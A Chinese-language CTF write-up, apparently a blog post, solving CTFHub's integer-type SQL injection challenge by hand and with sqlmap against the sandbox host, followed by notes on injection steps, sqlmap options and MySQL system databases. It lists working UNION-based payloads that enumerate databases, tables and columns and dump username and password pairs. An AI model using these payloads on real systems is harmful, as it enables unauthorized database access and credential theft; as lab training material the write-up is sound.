CTFHub:web前置技能-SQL注入-整数型注入

CTFHub个人学习记录

第三章:web前置技能-SQL注入-整数型注入



前言

路漫漫其修远兮,吾将上下而求索。
本文涉及以下知识点,去引用文章学习即可:
链接: 我是一个知识点
链接: 我是一个知识点
链接: 我是一个知识点
链接: sqlmap下载点我
文章总结有我个人总结的一些知识点,希望对你有所帮助。


一、解题过程

方法一:手工注入

1.首先打开靶机,访问首页,按提示随便输入1,无闭合,1 and 1 = 2报错无回显,对比下列图可知判断有注入点如下图所示:

在这里插入图片描述在这里插入图片描述
在这里插入图片描述

2.判断有多少列,3列无回显,2列有回显,说明有两列,如下图所示:

在这里插入图片描述在这里插入图片描述

3.判断数据显示点,显示出登录用户和数据库名,如下图所示:

在这里插入图片描述

4.查看所有数据库,如下图所示:

payload:

-1 union select 1,group_concat(schema_name) from information_schema.schemata

在这里插入图片描述

5.查看当前数据库有哪些表,如下图所示:

payload:

-1 union select 1,group_concat(table_name) from information_schema.tables where table_schema=database()

在这里插入图片描述

6.发现这个flag表有些可疑,查看flag表中字段,但是并没有回显,把flag这个表名转成16进制再试一次,如下图所示:

payload:这个如果没显示用2payload

-1 union select 1,group_concat(column_name) from information_schema.columns where table_name=flag

2payload:

-1 union select 1,group_concat(column_name) from information_schema.columns where table_name=0x666c6167

在这里插入图片描述在这里插入图片描述

7.查看flag中的信息得到此题flag,提交即可,如下图所示:

-1 union select 1,group_concat(flag) from flag

在这里插入图片描述

方法二:sqlmap工具注入(下载地址和使用教程可看文章前言)

1.首先打开靶机,访问首页,按提示随便输入1,无闭合,如下图所示:

在这里插入图片描述

2.获取数据库所有数据表,命令中-u后接的url记得改为你的靶机url地址,如下图所示:

python sqlmap.py -u http://challenge-aea2d226b5b3a939.sandbox.ctfhub.com:10800/?id=1 --tables

在这里插入图片描述
在这里插入图片描述

3.获取flag数据表中所有字段,如下图所示

python sqlmap.py -u http://challenge-aea2d226b5b3a939.sandbox.ctfhub.com:10800/?id=1 -T flag --columns

在这里插入图片描述
在这里插入图片描述

4.获取flag数据表中flag字段中的所有数据信息,如下图所示:

python sqlmap.py -u http://challenge-aea2d226b5b3a939.sandbox.ctfhub.com:10800/?id=1 -T flag -C flag --dump

在这里插入图片描述在这里插入图片描述


总结

大概思路和涉及的知识点

sql注入基本语句和手工注入流程:
#,–+,-- -代表后边忽略,常用与闭合
判断有多少列:

order by 4 -- -

判断数据显示点:

union select 1,2,3 -- -

显示出登录用户和数据库名:

union select 1,user(),database()­­ -- -

查看数据库有哪些表:

union select 1,(select group_concat(table_name) from information_schema.tables where table_schema = 'security' ),3 -- -

查看对应表有哪些列:

union select 1,(select group_concat(column_name) from information_schema.columns where table_schema = 'security' and table_name='users' ),3 -- -

查看账号密码信息:

union select 1,(select group_concat(concat_ws(0x7e,username,password))from users),3 -- -

思路:


sql注入之数字型注入点:
许多网页链接有类似的结构
http://xxx.com/users.php?id=1 基于此种形式的注入,一般被叫做数字型注入点,缘由是其注入点 id 类型为数字,在大多数的网页中,诸如 查看用户个人信息,查看文章等,大都会使用这种形式的结构传递id等信息,交给后端,查询出数据库中对应的信息,返回给前台。这一类的 SQL 语句原型大概为 select * from 表名 where id=1 若存在注入,我们可以构造出类似与如下的sql注入语句进行爆破:select * from 表名 where id=1 and 1=1


sqlmap常用命令:
-u:用于get提交方式,后面跟注入的url网址
–level
–risk

–dbs:获取所有数据库
–tales:获取所有数据表
–columns:获取所有字段
–dump:打印数据

-D:查询选择某个库
-T:查询选择某个表
-C:查询选择某个字段
level:执行测试的等级(1~5,默认为1),使用-level参数并且数值>=2的时候会检查cookie里面的参数,
当>=3时检查user-agent和refereer
risk:执行测试的风险(0~3,默认为1),默认是1会测试大部分的测试语句,2会增加基于事件的测试语句,
3会增加or语句的sql注入

当sqlmap运行完判断是否存在注入的语句后,爆出一大段代码,这里有三处需要选择的地方:第一处的意思为检测到数据库可能是MySQL,是否需要跳过检测其他数据库;第二处的意思是在“level1、risk1”的情况下,是否使用MySQL对应的所有Payload进行检测;第三处的意思是参数 id存在漏洞,是否要继续检测其他参数,一般默认按回车键即可。


1.information_schema 库:是信息数据库,其中保存着关于MySQL服务器所维护的所有其他数据库的信息;

例如数据库或表的名称,列的数据类型或访问权限。有时用于此信息的其他术语是数据字典和系统目录。web渗透过程中用途很大。

SCHEMATA表:提供了当前MySQL实例中所有数据库信息, show databases结果取之此表。
TABLES表:提供了关于数据中表的信息。table_name
COLUMNS表:提供了表的列信息,详细描述了某张表的所有列以及每个列的信息。column_name

2、performance_schema库具有87张表。
MySQL 5.5开始新增一个数据库:PERFORMANCE_SCHEMA,主要用于收集数据库服务器性能参数。内存数据库,数据放在内存中直接操作的数据库。相对于磁盘,内存的数据读写速度要高出几个数量级。

3、mysql库是核心数据库,类似于sql server中的master表,主要负责存储数据库的用户(账户)信息、权限设置、关键字等mysql自己需要使用的控制和管理信息。不可以删除,如果对mysql不是很了解,也不要轻易修改这个数据库里面的表信息。
常用举例:在mysql.user表中修改root用户的密码

4、sys库具有1个表,100个视图。
sys库是MySQL 5.7增加的系统数据库,这个库是通过视图的形式把information_schema和performance_schema结合起来,查询出更加令人容易理解的数据。
可以查询谁使用了最多的资源,哪张表访问最多等。

  • 18
    点赞
  • 15
    收藏
    觉得还不错? 一键收藏
  • 2
    评论
评论 2
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值